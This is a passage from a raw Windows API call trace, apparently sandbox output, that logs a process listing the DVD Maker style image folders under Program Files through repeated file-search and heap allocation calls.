(HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1668 [0066.536] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbf838 [0066.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.536] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0066.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1688 [0066.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbf940 [0066.537] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xc80) returned 0xfc1d10 [0066.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0066.537] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0066.537] GetLastError () returned 0x12 [0066.537] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0066.537] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.537] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.538] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.538] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0066.538] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0066.538] GetLastError () returned 0x12 [0066.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.538] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0066.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0066.538] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.538] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.538] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.539] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.539] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0066.539] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0066.539] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.602] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0066.602] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0066.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfc2998 [0066.603] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfc2998, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfc2998, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0066.603] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfc2998) returned 1 [0066.603] NtClose (Handle=0x198) returned 0x0 [0066.603] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.603] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.603] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.603] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.603] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0066.642] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.642] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0066.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0066.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc16a8 [0066.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbfa48 [0066.642] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.642] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0066.642] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc16c8 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbfb50 [0066.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc16e8 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbfc58 [0066.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1708 [0066.643] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbfd60 [0066.643] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.644] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.644] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1728 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbfe68 [0066.644] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.644] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.644] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1748 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbff70 [0066.644] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.644] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, 